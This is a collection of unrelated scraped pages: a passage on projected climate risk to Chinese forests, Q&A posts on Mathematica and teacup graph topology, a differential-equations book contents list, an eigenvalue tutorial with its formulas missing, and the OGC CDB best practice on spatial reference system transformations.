The risk of climate change to forest in China is likely to be relatively obvious under RCP8.5 compared with low emission scenarios especially in the long term. In response to future climate change, the total risk area is predicted to first decrease and then increase after the middle of 21st century. The percentage area at high risk was predicted to increase from 5.39% (2021–2050) to 27.62% (2071–2099) with a trend of 3.2% per decade (p < 0.01). The forest vegetation growth would probably be weakened as the degree of warming increased under RCP8.5.
Spatial distributions show that climate change risk to forests was projected to be concentrated in south China. The risk of future climate change to forest in China is predicted to be mainly distributed in the low latitude southern subtropical humid and tropical humid regions where there were intensified dryness and where the declines in productivity superimposed by natural hazards such as droughts and floods may bring huge losses to the local economy.
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2022-10-01 02:54:45
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http://mathematica.stackexchange.com/questions/34297/syntax-for-frontendselectionsetstyle
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Syntax for FrontEndSelectionSetStyle
I know FrontEndSelectionSetStyle is undocumented, but its name suggests it does what I need. What is its syntax?
I have already tried several variations of the following button on some selected code in an input cell.
Button["set",
FrontEndSelectionSetStyle[FontColor, RGBColor[{1, 0, 0}]];
Print[CurrentValue["SelectionData"]]]
Update
Using the kernel, the following code does what I need:
Button["set",
SetOptions[NotebookSelection[InputNotebook[]], FontColor -> RGBColor[{0, .7, .5}]];
Print[CurrentValue["SelectionData"]]]
I assume that FrontEndSelectionSetStyle can change the font color of the selection while using the front end only. If so, what is its syntax?
-
After your update it is unclear what your question is. Can "what" be done in the front end only? – Mike Honeychurch Oct 18 '13 at 20:42
@MikeHoneychurch: I re-worded the question, thank you for the note. – Hector Oct 18 '13 at 22:12
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2015-02-01 07:12:50
|
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https://proofwiki.org/wiki/Book:G.E.H._Reuter/Elementary_Differential_Equations_%26_Operators
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# Book:G.E.H. Reuter/Elementary Differential Equations & Operators
## G.E.H. Reuter: Elementary Differential Equations & Operators
Published $1958$, Routledge & Kegan Paul.
### Contents
Preface
CHAPTER 1: LINEAR DIFFERENTIAL EQUATIONS WITH CONSTANT COEFFICIENTS
$\S$ 1 THE FIRST ORDER EQUATION
1.1 Introduction
1.2 The integrating factor
1.3 The form of the general solution
$\S$ 2 THE SECOND ORDER EQUATION
2.1 The reduced equation
2.2 The general equation
2.3 Particular solution: polynomial $f \left({x}\right)$
2.4 Particular solution: exponential $f \left({x}\right)$
2.5 Particular solution: trigonometric $f \left({x}\right)$
2.6 Particular solution: some further cases
2.7 Arbitrary constants and initial conditions
2.8 Recapitulation
$\S$ 3 EQUATIONS OF HIGHER ORDER AND SYSTEMS OF FIRST ORDER EQUATIONS
3.1 The $n$ order equation
3.2 First order systems
3.3 Arbitrary constants and initial conditions
PROBLEMS FOR CHAPTER I
CHAPTER II: THE OPERATIONAL METHOD
$\S$ 1 PRELIMINARY DISCUSSION OF THE METHOD
1.1 The operator $Q$
l.2 Formal calculations with $Q$
1.3 Operators
1.4 The inverse of an operator
1.5 Inverse of a product
1.6 Partial fractions for inverses
$\S$ 2 PRACTICAL INSTRUCTIONS FOR USING THE METHOD
2.1 The symbol $p$
2.2 Procedure for solving $n$th order equations
2.3 Some remarks on partial fractions
2.4 Further examples
2.5 Simultaneous equations
2.6 Justification of the method
2.7 The general solution on an $n$th order equation
PROBLEMS FOR CHAPTER II
SOLUTIONS TO PROBLEMS
INDEX
Next
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2020-01-27 12:42:56
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https://www.algebrapracticeproblems.com/eigenvalues-and-eigenvectors-of-a-matrix/
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# Eigenvalues and eigenvectors of a matrix
On this post we explain what the eigenvalues and the eigenvectors of a matrix are. You will also find examples of how to compute the eigenvalues and the eigenvectors of a matrix, and finally, you have problems with solutions solved step by step to practice.
## What are the eigenvalues and the eigenvectors of a matrix?
Although the concept of eigenvalue and eigenvector is a bit difficult to understand, their definition is as follows:
The eigenvectors are the non-zero vectors of a linear map that, when the linear transformation is applied to them, result in a scalar multiple of them (they do not change direction). This scalar is the eigenvalue.
Where is the matrix of the linear mapping, is the eigenvector and the eigenvalue.
An eigenvalue is also known as a characteristic value, and an eigenvalue as a characteristic vector.
## How to find the eigenvalues and the eigenvectors of a matrix
To find the eigenvalues and eigenvectors of a matrix, apply the following procedure:
1. Calculate the characteristic polynomial by taking the following determinant:
2. Find the roots of the characteristic polynomial obtained in step 1. These roots are the eigenvalues of the matrix.
3. Calculate the eigenvector associated with each eigenvalue by solving the following system of equations for each eigenvalue:
Remember that is the identity matrix.
This is the method to find the eigenvalues and eigenvectors of a matrix, but here we also give you some tricks: 😉
Tricks: we can take advantage of the properties of the eigenvalues and eigenvectors to calculate them more easily:
The trace of the matrix (sum of the elements on the main diagonal) is equal to the sum of all the eigenvalues.
The product of all the eigenvalues is equal to the determinant of the matrix.
If there is any linear combination between rows or columns, at least one eigenvalue of the matrix is 0.
Having seen the theory of eigenvalues and eigenvectors, let’s see an example of how to compute them.
## Example of calculating the eigenvalues and eigenvectors of a matrix
• Find the eigenvalues and the eigenvectors of the following 2×2 matrix:
First, we have to find the characteristic polynomial of the matrix. And, for this, we must compute the following determinant:
Now we calculate the roots of the characteristic polynomial. So we set the polynomial obtained equal to 0 and solve the equation:
The solutions of the equation are the eigenvalues of the matrix.
Once we know the eigenvalues of the matrix, we proceed to calculate its eigenvectors. To do this, we must solve the following system of equations for each eigenvalue:
First we calculate the eigenvector associated with the eigenvalue 1:
From these equations we obtain the following subspace:
Note that subspaces of eigenvectors are also called eigenspaces.
Now we must find a base of this eigenspace, so we give, for example, the value 1 to the variable x and we obtain the following eigenvector:
Once we have found the eigenvector associated with the eigenvalue 1, we repeat the process to calculate the eigenvector of the eigenvalue 2:
In this case, only the first component of the vector must be 0, so we could give any value to variable y. But it is better to put a 1:
In conclusion, the eigenvalues and the eigenvectors of the matrix are:
## Practice problems on eigenvalues and eigenvectors
### Problem 1
Calculate the eigenvalues and eigenvectors of the following square matrix of order 2:
First we calculate the determinant of the matrix minus λ on its main diagonal:
Now we calculate the roots of the characteristic polynomial:
We find the eigenvector associated with the eigenvalue 2:
And then we calculate the eigenvector associated with the eigenvalue 5:
Thus, the eigenvalues and eigenvectors of matrix A are:
### Problem 2
Determine the eigenvalues and eigenvectors of the following 2×2 square matrix:
First we subtract λ from the entries on the main diagonal of the matrix and compute the determinant of the resulting matrix in order to obtain the characteristic equation:
Now we find the roots of the characteristic polynomial:
We calculate the eigenvector associated with the eigenvalue -1:
And then we calculate the eigenvector associated with the eigenvalue 3:
Therefore, the eigenvalues and eigenvectors of matrix A are:
### Problem 3
Compute the eigenvalues and eigenvectors of the following square matrix of order 3:
First of all, we have to solve the determinant of matrix A minus the identity matrix multiplied by lambda in order to obtain the characteristic polynomial:
In this case, the last column of the determinant has two zeros, so we will evaluate the 3×3 determinant by cofactors through that column:
Now we have to calculate the roots of the characteristic polynomial. It is better not to multiply the parentheses since then we would obtain a third degree polynomial, instead, if the two factors are solved separately it is easier to get the eigenvalues:
Now we compute the eigenvector associated with the eigenvalue 2:
We calculate the eigenvector associated with the eigenvalue -1:
And we calculate the eigenvector associated with the eigenvalue 3:
So the eigenvalues and eigenvectors of matrix A are:
### Problem 4
Compute the eigenvalues and the eigenvectors of the following 3×3 square matrix:
First we solve the determinant of the matrix minus λ on its main diagonal to obtain the characteristic polynomial:
We factor out the characteristic polynomial and solve for λ each equation:
We calculate the eigenvector associated with the eigenvalue 0:
We calculate the eigenvector associated with the eigenvalue 2:
We calculate the eigenvector associated with the eigenvalue 5:
Therefore, the eigenvalues and eigenvectors of matrix A are:
### Problem 5
Find the eigenvalues and eigenvectors of the following 4×4 matrix:
First, we solve the determinant of the matrix minus λ on its main diagonal to obtain the characteristic polynomial:
In this case, the last column of the determinant are all zeros except one element, so we will compute the determinant using the cofactor method through that column:
Now we must calculate the roots of the characteristic polynomial. It is better not to multiply the parentheses since then we would obtain a fourth degree polynomial, instead, if the two factors are solved separately it is easier to calculate the eigenvalues:
We calculate the eigenvector associated with the eigenvalue 0:
We calculate the eigenvector associated with the eigenvalue -1:
We calculate the eigenvector associated with the eigenvalue 3:
The algebraic multiplicity of eigenvalue 3 is 2 (it is repeated twice). So we must find another eigenvector that satisfies the same equations:
Therefore, the eigenvalues and eigenvectors of matrix A are:
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2022-09-27 22:55:18
|
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https://puzzling.stackexchange.com/questions/58554/teacup-geometry/58555
|
# Teacup geometry
Inspired by the three utilities puzzle from prog_SAHIL I'm now posting a similar puzzle that makes use of the topology of a cup with a handle:
The question is:
How many distinct points can you draw on the surface of this cup, such that it is possible to connect each point with all other points pairwise without any connections crossing each other (or one of the points)?
For example if you have 4 points the connections could look like this:
• I may be getting pretty close spamming, but since the utilities mug in the linked puzzle was from these same guys, here’s another of their mugs that solves this puzzle. – Bass Jan 1 '18 at 11:24
This is topologically equivalent to a torus, and you can go up to 7 points:
as shown by this Math.SE answer.
The diagram for this could look for example like this:
In this picture the lines going "under" the square represent connections going through the cup handle and the lines going "over" the square would go along the handle of the cup.
One can also just look up the answer if you know the question asks for the complete graph $K_n$ of degree $n$ with maximum $n$ such that the graph genus $\gamma (K_n)$ is at most $1$. Then
if you take the equation from Wolfram MathWorld $$\gamma (K_n) = \left\lceil \frac{(n-3)(n-4)}{12} \right\rceil$$ you see that the genus $\gamma (K_n) \le 1$ as long as $n \le 7$.
• Wow, now I understand all those people complaining in this meta-post. Could you add some explanation on the image you provided, or eventually a 2D representation of the diagram? It's not that complicated, actually. – A. P. Dec 30 '17 at 22:21
• One might add that it's not so hard to show that this is the best one can do. Let $F$, $E$, and $V$ be the number of faces, edges and vertices determined by the arrangement. In any embedding with a maximal number of edges, one has that every face is a triangle, so $3F=2E$. The Euler characteristic of a torus provides that $F-E+V=0$. Therefore, graphs with a maximal amount of edges satisfy $3V-E=0$; in other words, $E\leq 3V$ for every toroidal graph. However, we are asked to have ${V \choose 2}$ edge, which is greater than $3V$ whenever $V>7$. – Milo Brandt Dec 31 '17 at 16:22
Deusovi has already shown why the answer must be what it is, but there's one thing that can still be added to the answer. That is, actually drawing this many points on an actual cup. While I've already done just that (it was years ago), I have no visual proof that I actually did. So, a 3D render will have to do.
Here's the same cup without its handle:
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2020-01-20 00:04:16
|
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|
https://docs.ogc.org/bp/16-011r5.html
|
Open Geospatial Consortium Submission Date: 2020-01-21 Approval Date: 2020-08-24 Publication Date: 2021-02-26 External identifier of this OGC® document: http://www.opengis.net/doc/BP/CDB-SRF/1.2 Internal reference number of this OGC® document: 16-011r5 Version: 1.2 Category: OGC® Best Practice Editor: Carl Reed
Volume 8: OGC CDB Spatial Reference System Guidance (Best Practice)
Warning
This document defines an OGC Best Practice on a particular technology or approach related to an OGC standard. This document is not an OGC Standard and may not be referred to as an OGC Standard. It is subject to change without notice. However, this document is an official position of the OGC membership on this particular technology topic.
Document type: OGC® Best Practice Document subtype: Document stage: Approved Document language: English
Permission is hereby granted by the Open Geospatial Consortium, ("Licensor"), free of charge and subject to the terms set forth below, to any person obtaining a copy of this Intellectual Property and any associated documentation, to deal in the Intellectual Property without restriction (except as set forth below), including without limitation the rights to implement, use, copy, modify, merge, publish, distribute, and/or sublicense copies of the Intellectual Property, and to permit persons to whom the Intellectual Property is furnished to do so, provided that all copyright notices on the intellectual property are retained intact and that each person to whom the Intellectual Property is furnished agrees to the terms of this Agreement.
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THIS LICENSE IS A COPYRIGHT LICENSE ONLY, AND DOES NOT CONVEY ANY RIGHTS UNDER ANY PATENTS THAT MAY BE IN FORCE ANYWHERE IN THE WORLD.
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i. Abstract
Volume 8 of the CDB standard defines the conceptual model and the methodologies that allow the description, and transformation or conversion, of geometric properties within a set of spatial reference frames supported by the CDB standard. The CDB Spatial Reference Model (SRM) supports an unambiguous specification of the positions, directions, and distances associated with spatial information. This document also defines algorithms for precise transformation of positions, directions and distances among different spatial reference frames.
In previous versions of the CDB standard, this CDB volume was Appendix K in CDB Version 3.2 as submitted to the OGC.
ii. Keywords
The following are keywords to be used by search engines and document catalogues.
ogcdoc, OGC document, cdb, spatial reference model, srm, coordinate systems, crs, srs
iii. Preface
Attention is drawn to the possibility that some of the elements of this document may be the subject of patent rights. The Open Geospatial Consortium shall not be held responsible for identifying any or all such patent rights.
Recipients of this document are requested to submit, with their comments, notification of any relevant patent claims or other intellectual property rights of which they may be aware that might be infringed by any implementation of the standard set forth in this document, and to provide supporting documentation.
iv. Submitting organizations
The following organizations submitted this Document to the Open Geospatial Consortium (OGC):
Organization name(s)
• CAE Inc.
• Carl Reed, OGC Individual Member
• Envitia, Ltd
• Glen Johnson, OGC Individual Member
• Laval University
• Open Site Plan
• University of Calgary
• UK Met Office
The OGC CDB standard is based on and derived from an industry developed and maintained specification, which has been approved and published as OGC Document 15-003: OGC Common DataBase Volume 1 Main Body. An extensive listing of contributors to the legacy industry-led CDB specification is at Chapter 11, pp 475-476 in that OGC Best Practices Document (https://portal.opengeospatial.org/files/?artifact_id=61935 ).
v. Submitters
All questions regarding this submission should be directed to the editor or the submitters:
Name Affiliation Carl Reed Carl Reed & Associates David Graham CAE Inc.
vi. Document Organization
For ease of editing and review, the standard has been separated into 16 Volumes, one being a schema repository.
• Volume 0: OGC CDB Companion Primer for the CDB standard (Best Practice).
• Volume 1: OGC CDB Core Standard: Model and Physical Data Store Structure. The main body (core) of the CDB standard (Normative).
• Volume 2: OGC CDB Core Model and Physical Structure Annexes (Best Practice).
• Volume 3: OGC CDB Terms and Definitions (Normative).
• Volume 4: OGC CDB Rules for Encoding CDB Vector Data using Shapefiles (Best Practice).
• Volume 5: OGC CDB Radar Cross Section (RCS) Models (Best Practice).
• Volume 6: OGC CDB Rules for Encoding CDB Models using OpenFlight (Best Practice).
• Volume 7: OGC CDB Data Model Guidance (Best Practice).
• Volume 8: OGC CDB Spatial Reference System Guidance (Best Practice).
• Volume 9: OGC CDB Schema Package: http://schemas.opengis.net/cdb/ provides the normative schemas for key features types required in the synthetic modeling environment. Essentially, these schemas are designed to enable semantic interoperability within the simulation context (Normative).
• Volume 10: OGC CDB Implementation Guidance (Best Practice).
• Volume 11: OGC CDB Core Standard Conceptual Model (Normative).
• Volume 12: OGC CDB Navaids Attribution and Navaids Attribution Enumeration Values (Best Practice).
• Volume 13: OGC CDB Rules for Encoding CDB Vector Data using GeoPackage (Normative, Optional Extension).
• Volume 14: OGC CDB Guidance on Conversion of CDB Shapefiles into CDB GeoPackages (Best Practice).
• Volume 15: OGC CDB Optional Multi-Spectral Imagery Extension (Normative).
## 1. Scope
The handling of spatial data requires a good deal of rigor to accurately describe the position of points in space. Furthermore, it requires the ability to define directions and distances. Generally, this is accomplished through the use of coordinate systems.
A coordinate system (also called a spatial reference system) is a means of assigning coordinates to a location and establishing relationships between sets of such coordinates. Specifying a coordinate reference system enables the interpretation of a set of coordinates as a representation of a position in a real world space.
In the CDB standard, these terms can be used interchangeably. However, for consistency with previous versions of the CDB standard, the term spatial reference system (SRS) is used.
There is often the requirement to represent position in several different spatial reference systems. Each spatial reference system provides a particular way of defining positions within its domain. This level of abstraction also permits spatial reference systems to be decomposed into a series of, or even a hierarchy of reference, each relative to another reference system. This mechanism permits objects to be independently defined (positioned, oriented, and scaled) with respect to a local SRS and then be later incorporated into other reference systems. The reference systems can be abstract mathematical constructs or they can be bound to real world objects (e.g., a flap located defined in a flap reference system which in turn is bound to an aircraft wing reference system).
## 2. Conformance
There are no conformance classes in this document
## 3. References
The following normative documents contain provisions that, through reference in this text, constitute provisions of this document. For dated references, subsequent amendments to, or revisions of, any of these publications do not apply. For undated references, the latest edition of the normative document referred to applies.
ISO: ISO 19111:2007, Geographic information ― Spatial referencing by coordinates, 2007
## 4. Terms and Definitions
This document uses the terms defined in Sub-clause 5.3 of [OGC 06-121r8], which is based on the ISO/IEC Directives, Part 2, Rules for the structure and drafting of International Standards. In particular, the word “shall” (not “must”) is the verb form used to indicate a requirement to be strictly followed to conform to this standard. Any terms and definitions for this CDB document may be found in Volume 3: CDB Terms and Definitions (Normative).
## 5. Conventions
This sections provides details and examples for any conventions used in the document. Examples of conventions are symbols, abbreviations, use of XML schema, or special notes regarding how to read the document.
### 5.1. Identifiers
There are no normative provisions in this document.
## 6. CDB Approach
One of the primary objectives of the CDB standard is to provide the means to represent the entire earth. As such, a CDB compliant data store must handle spatial data with a good deal of rigor to accurately describe the position of points in space and must do so at the level of fidelity commensurate with the precision that is now possible in modern simulators.
The size, content, fidelity and precision of synthetic environments now warrant a different approach, an approach that entirely avoids the “problem with projections” and other approximations used in the past. To this end, the CDB standard mandates the use a geographic coordinate system (GCS). A GCS uses a three-dimensional spherical surface to define locations on the earth. Since no projections are involved, full geometric coherence is assured without compromise and all four key spatial properties can be achieved simultaneously:
1. Preservation of distance
2. Preservation of direction
3. Preservation of area
4. Preservation of shape
### 6.1. CDB Spatial Reference Systems
The CDB standard is based on a surface geodetic coordinate system, i.e., points on the earth surface are specified as geographic latitude -longitude and elevation coordinates. More specifically, geodetic coordinates (sometimes called geographic coordinates) are angular coordinates (longitude and latitude), closely related to spherical polar coordinates, and are defined relative to a particular Earth geodetic datum. For the CDB, this is the WGS 84 datum. The WGS 84 datum surface is an oblate spheroid (ellipsoid) with major (equatorial) radius a = 6378137 m at the equator and flattening f = 1/298.257223563 [1]. The polar semi-minor axis b then equals a times (1−f), or 6356752.3142 m.
The CDB data store embeds modeled point features (e.g., the representation of 3-D objects, moving and/or static) within a Cartesian Coordinate System [2]. Its use is generally constrained to objects that are small in comparison to the earth. As shown below, a modeled point feature can be referenced anywhere on the earth by providing the model’s orientation (the AO1 attribute specified in Chapter 5 of Volume 1: OGC CDB Core Standard: Model and Physical Database Structure) and the model’s origin using a set of latitude/longitude/elevation coordinates. Note that the model’s z-axis implicitly points upward with respect to the earth surface.
Figure 1: Cartesian Model positioned to WGS-84 Coordinates
The earth shape is described by the WGS-84 reference ellipsoid. The CDB standard also defines three related set of Spatial Reference Systems (and associated coordinate systems) for use in conjunction with the surface geodetic coordinate system; they are:
1. Earth-centered Cartesian (Geocentric)
2. Generic Cartesian
3. Local Vertical (LVCS)
## 7. The Three Systems
The following sections detail the normative aspects of the three Spatial Reference Systems (SRS) supported in the CDB model. We start with a general discussion of the Geographical Coordinate System before addressing the Spatial Reference Systems.
### 7.1. Geographic Coordinate System (Geodetic)
A geographic coordinate system (also called the geodetic coordinate system) is one in which the coordinates are expressed as latitude, longitude, and altitude relative to the reference ellipsoid. Geographical latitude φ and longitude λ are the angles of the normal on the reference ellipsoid along the point to the equator and zero meridian. The angles are normally given as degrees, minutes and seconds. Altitude is the distance above and normal to the reference ellipsoid in meters. The WGS 84 ellipsoid represents the actual geoid within an accuracy of 100 meters. The prime meridian and the equator are the reference planes used to define latitude and longitude.
In other terms, the geographic latitude – there are many other defined latitudes – of a point is the angle between the equatorial plane and a line normal to the reference ellipsoid’s surface. The geographic longitude of a point is the angle between a reference plane, Greenwich, and a plane passing through the point, both planes being perpendicular to the equatorial plane. The geographic height at a point is the distance from the reference ellipsoid to the point in a direction normal to the reference ellipsoid.
Table 1: Geographic Coordinate System (Geodetic)
Field Specification Properties Orthogonal. CS parameters and constraints a: major semi-axis length b: minor semi-axis length Constraints: a > b: (oblate ellipsoid) Coordinate components λ : longitude in radians, and φ : geodetic latitude in radians. Domain of the generating function or mapping equations . Domain of the inverse of the generating function or mapping equations . Notes The CS surface is the oblate ellipsoid (or sphere) surface excluding the pole points. The geodetic 3D CS induces this CS on the 3rd coordinate surface at any point for which h = 0. If a = b, the geodetic latitude φ coincides with the spherical latitude θ. For WGS-84 a= 6,378,137 m and b = 6,356,752 m. The inverse flattening ratio f-1 is 298.257223563.
#### 7.1.1. Earth-Centered SRS (aka Rectangular Geocentric SRS)
The earth-centered SRS defines a three-dimensional Euclidian space with respect to the geometric center of the reference ellipsoid, the center of the earth. The reference datum of the Earth-centered SRS is based on the WGS-84 ellipsoid reference model. In this SRS, the z-axis is pointing at the North Pole, the x-axis is pointing at the intersection of the equator and the Greenwich meridian, the prime meridian, and the y-axis is pointing at the intersection of the equator and 90o east longitude. The associated coordinate system is called the World Coordinate System and its units are meters. The world coordinate system is used to specify the 3D position of objects with respect to the earth-centered SRS. This coordinate system is used as an intermediate system to convert geodetic coordinates to LVCS and vice versa
#### 7.1.2. General Cartesian SRS
The Cartesian spatial reference frame defines a three-dimensional Euclidian space with respect to an arbitrary origin. The reference datum specifying the origin and the orientation of the SRS is arbitrary, i.e., the reference datum can be specified within a geocentric SRS, a LVCS SRS or any other SRS. The SRS is right-handed and orthonormal. In this SRS system, the z-axis is pointing up and both the x-axis and y-axis lie in the horizontal plane. The associated coordinate system is called the General Cartesian Coordinate System; coordinates are specified in meters. This coordinate system is used for the representation of 3-D objects, moving and/or static. Its use is generally constrained to objects that are small in comparison to the earth [3].
#### 7.1.3. Local Vertical SRS
The Local Vertical SRS (LVCS) spatial reference frame defines a three-dimensional Euclidian space. It is a SRF similar to the Geocentric SRF except that the origin of the SRF is translated and rotated to a point on the surface of the WGS-84 ellipsoid. At that point, the x-y plane is tangent to the surface of the earth and the z-axis is normal to the ellipsoid. The associated coordinate system is called the local vertical coordinate system; the coordinates are specified in meters. In this coordinate system, the z-axis is pointing up, the y-axis is pointing north and the x-axis is pointing east. Its use is generally constrained to a surface that is small in comparison to the earth [4].
### 7.2. Geodetic to Geocentric transformation [1]
The following equations are used to transform geodetic information to geocentric information according to the following:
1. If <ϕλh> represents the geodetic coordinates to be transformed, where ϕ is the latitude, λ is the longitude, and h is the WGS84 height above the reference ellipsoid; and
2. If <x, y, z> represents the geocentric coordinates; then using the WGS84 ellipsoid equatorial radius, a, of 6,378,137.0m and the WGS84 ellipsoid polar radius, b, of 6,356,752.314245m, the flattening f, the eccentricity e and the radius of curvature as a function of latitude N(ϕ) are given by equation eq. A-1:
$f = \frac{a - b}{a}$ $e^2 = 2f - f^2$ $N(φ) = \frac{a}{\sqrt[]{1 - e^2 \sin^2 φ }}$ (eq. A‑1)
From these equations, we define the transformation of each geodetic coordinate as:
$x = (N(φ)+h) \cos φ \cos λ$ $y = (N(φ)+h) \cos φ \sin λ$ $z = (N(φ)(1-e^2)+h) \sin φ$ (eq. A‑2)
### 7.3. Geocentric to Geodetic Transformation
Geocentric coordinates cannot be transformed to the geodetic coordinate system directly. Instead, a successive approximation approach is used to compute the new coordinates. The following describes the algorithm to convert geocentric coordinates <x, y, z> to geodetic coordinates <ϕλh>, where ϕ is the latitude, λ is the longitude, and h is the WGS84 height above the reference ellipsoid. First, using the WGS84 ellipsoid equatorial radius, a = 6,378,137.0 m and the WGS84 ellipsoid polar radius, b = 6,356,752.314245 m, the flattening f and the eccentricity e of the ellipsoid are given by equation A-3:
$f = \frac{a - b}{a}$ $e^2 = 2f - f^2$ (eq. A‑3)
We first compute the longitude λ with equation A-4:
$λ = \tan ^{ - 1} \bigg(\frac{y}{x}\bigg)$ (eq. A‑4)
We then compute a first approximation of the latitude assuming a spherical earth model with equation A-5:
$φ = \tan ^{ - 1} \bigg(\frac{z}{\sqrt[]{x^2 + y^2}}\bigg)$ (eq. A‑5)
Then, we iteratively compute the radius of curvature as a function of latitude N(ϕ) and, as a result we iteratively converge to a new, more accurate latitude ϕ’ with equation A-6:
$N(φ) = \frac{a}{\sqrt[]{ 1 - e^2 \sin^2 φ }}$ (eq. A‑6)
For each iteration, ϕ is replaced with ϕ’, until the difference between the two values is less than a preset allowable error. The resulting latitude error will be less than ε. Finally, we compute the height above the reference ellipsoid h with equation A-7
$h = \frac{\sqrt[]{x^2 + y^2}}{\cos φ} - N(φ)$ (eq. A‑7)
### 7.4. Geodetic to LVCS Coordinate Transformation
The transformation of a geodetic coordinate into an LVCS coordinate is decomposed into two parts:
1. Apply a coordinate transformation to each coordinate of an object from the geodetic coordinate system to the rectangular geocentric coordinate system.
2. Then apply a second transformation to go from the geocentric coordinate system to LVCS.
The first transformation, from geodetic to rectangular geocentric is described in section K.4. The transformation is applied to the origin of the object. The result of this transformation is the origin x0 of the object in the geocentric coordinate system. Then for each coordinate x of the object, we apply the geodetic to geocentric transformation to coordinate x and we then compute the translation vector t between x and x0 in the geocentric coordinate system with equation A-8
$t = x - x_0$ (eq. A‑8)
The second transformation, from geocentric to LVCS is presented here as an algorithm to transform all coordinates of an object from the geodetic coordinate system to LVCS. The transformation from geodetic to LVCS first requires the assembly of a 3x3 rotation matrix M with equation A-9:
$M = \begin{bmatrix} -\sin λ_0 & \cos λ_0 & 0 \\ -\sin φ_0 \cos λ_0 & -\sin φ_0 \sin λ_0 & \cos φ_0 \\ \cos φ_0 \cos λ_0 & \cos φ_0 \sin λ_0 & \sin φ_0 \end{bmatrix}$ (eq. A‑9)
Where: ϕ0 and λ0 = the latitude and longitude of the origin of the object.
Finally, the rotation matrix M is applied to the translation vector t to obtain each coordinate xL in the local vertical coordinate system with equation A-10:
$x_L = Mt$ (eq. A‑10)
### 7.5. Angular Displacements to Linear Displacement
For WGS84, which is an elliptical representation of the earth, the transformation from angular displacements to equivalent linear displacements in a tangential plane is slightly different than that for a spherical earth.
For WGS84 we get…
$\delta X = \rho _t \cos (lat) \delta lon$
$\delta Y = \rho _m \delta lat$
… as opposed to for a spherical earth
$\delta X = \rho \cos (lat) \delta lon$
$\delta Y = \rho \delta lat$
where…
δX, δY are the linear displacements along the x and y axes.
ρm, ρt are the meridional and transverse radiuses of curvature.
ρ is the radius of the spherical earth.
δlat, δlon are small displacements at location lat/lon
we have…
$\rho _m = \frac{a(1 - e^2)}{\big[1 - e^2 \sin^2 (lat)\big] ^{3/2}}$
$\rho _t = \frac{a}{\sqrt[]{1 - e^2 sin^2 (lat)}}$
$e^2 = 1 - \frac{b ^2}{a ^2}$
$f = \frac{a - b}{a} \Rightarrow b = a (1 - f)$
where…
e2 is the square of the eccentricity
a,b are the semi-major and the minor axes of the earth
f is the flattening
This section describes the transformations required to go to-and-from the DIS/HLA and the CDB moving model coordinate systems.
### 7.6. 3D Model Coordinate System
The CDB 3D model coordinate system conventions are presented earlier in the OGC CDB Rules for Encoding Data using OpenFlight Best Practice.
Figure 2: CDB 3D Model Coordinate System
The DIS coordinate system is used on a HLA network and is represented on the following figure.
Figure 3: DIS Entity [5] Coordinate System
The two coordinate systems differ in the axis conventions (Z is up in the CDB while Z is down in DIS). Furthermore, the position of the origin also differs; DIS requires that the origin of its coordinate system be located at the center of the entity’s bounding box excluding its articulated and attached parts [6]. The CDB standard uses a different convention.
The transformation from the CDB coordinate system to the DIS coordinate system involves one translation followed by two rotations. The translation represents the offset to the DIS origin as defined in chapter 6. Assume that P0 represents the coordinate of the DIS origin.
$P_0 = (x_0, y_0, z_0)$ (eq. A‑11)
The two rotations are relatively simple. First, rotate 180° about the X-axis. This rotation will position the Z-axis in its correct position. Equation A-12 represents this rotation.
$M_x = \begin{Bmatrix} 1 & 0 & 0 \\ 0 & -1 & 0 \\ 0 & 0 & -1 \end{Bmatrix}$ (eq. A‑12)
Second, rotate -90° about this new Z-axis. This last rotation completes the transformation and is represented by equation A-13.
$M_z = \begin{Bmatrix} 0 & -1 & 0 \\ 1 & 0 & 0 \\ 0 & 0 & 1 \end{Bmatrix}$ (eq. A‑13)
Now, if we combine equations A-11, A-12 and A-13, we can transform a point P expressed in the CDB coordinate system into point P’ in the DIS coordinate system. Equation A-14 presents the complete transformation.
$P' = M_z M_x (P - P_0)$ (eq. A‑14)
The combined matrix gives equation A-15 and the resulting individual terms are presented in A-16.
$M_zx = \begin{Bmatrix} 0 & 1 & 0 \\ 1 & 0 & 0 \\ 0 & 0 & -1 \end{Bmatrix}$ (eq. A‑15)
$x = y - y_0$ $y = x - x_0$ $z' = z_0 - z$ (eq. A‑16)
If a single transformation matrix M is preferred then Matrix Mzx and point P0 are combined to obtain the set of equations A-17.
$P' = MP$ $where$ $M = \begin{Bmatrix} 0 & 1 & 0 & -y_0 \\ 1 & 0 & 0 & -x_0 \\ 0 & 0 & -1 & z_0 \\ 0 & 0 & 0 & 1 \end{Bmatrix}$ $and…$ $P = \begin{Bmatrix} x \\ y \\ z \\ 1 \end{Bmatrix}$ (eq. A‑17)
To convert from the DIS coordinate system back to the CDB coordinate system, the inverse transformation is applied. Knowing that unscaled rotation matrices (the upper 3 x 3 portion of M) have the property that their inverse is their transpose, we obtain the set of equations A-18.
$P = M^{-1} P'$ $where$ $M^{-1} = \begin{Bmatrix} 0 & 1 & 0 & x_0 \\ 1 & 0 & 0 & y_0 \\ 0 & 0 & -1 & z_0 \\ 0 & 0 & 0 & 1 \end{Bmatrix}$ (eq. A‑18)
## Annex A: Revision History
Date Release Editor Primary clauses modified Description
2016-02-05
1.0
C. Reed
Various
Prepare as version 1.
2016-08-03
1.0
C. Reed
Various
Modify based on 2016-03-08 SWG discussions
2016-06-22
1.0r2
C.Reed
Various
Correct ambiguity WRT how altitude is defined.
2016-07-10
R3
C. Reed
Various
Final edits for publication
2016-11-21
1.0
C. Reed
2017-12-28
1.1
C. Reed
Minimal
Update for version 1.1. Very minor edits.
2019-12-16
1.2
C. Reed
Various
Changes for version 1.2
1. There are many excellent references. A recent one is: http://www.oc.nps.edu/oc2902w/coord/coordcvt.pdf
2. A Cartesian coordinate system is a coordinate system that specifies each point uniquely in a plane by a pair of numerical coordinates, which are the signed distances to the point from two fixed perpendicular directed lines, measured in the same unit of length
3. To ensure that the object preserves its shape, size, orientation, and relative geometry.
4. To ensure that the object preserves its shape, size, orientation, and direction
5. DIS refers to a 3D model as an entity.
6. This definition can be found on page 3 of IEEE Std 1278.1-1995. Note that the CDB provides the means to store the DIS origin within the coordinate system space of the model.
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http://iglesiaemmanuel.com/p1ezi/hybridization-of-%E2%80%95c%E2%89%A1ch%3A-20c2c6
